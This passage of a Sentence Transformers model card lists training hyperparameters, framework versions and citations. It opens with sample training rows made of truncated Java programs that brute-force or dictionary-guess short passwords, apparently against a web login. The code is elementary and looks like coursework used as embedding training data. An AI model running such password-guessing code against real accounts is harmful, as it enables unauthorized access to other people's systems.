| <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 256
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 256
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `parallelism_config`: None
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch_fused
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `hub_revision`: None
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `liger_kernel_config`: None
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
- `router_mapping`: {}
- `learning_rate_mapping`: {}
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.7407 | 100 | 0.4377 |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### CachedMultipleNegativesRankingLoss
```bibtex
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
--> |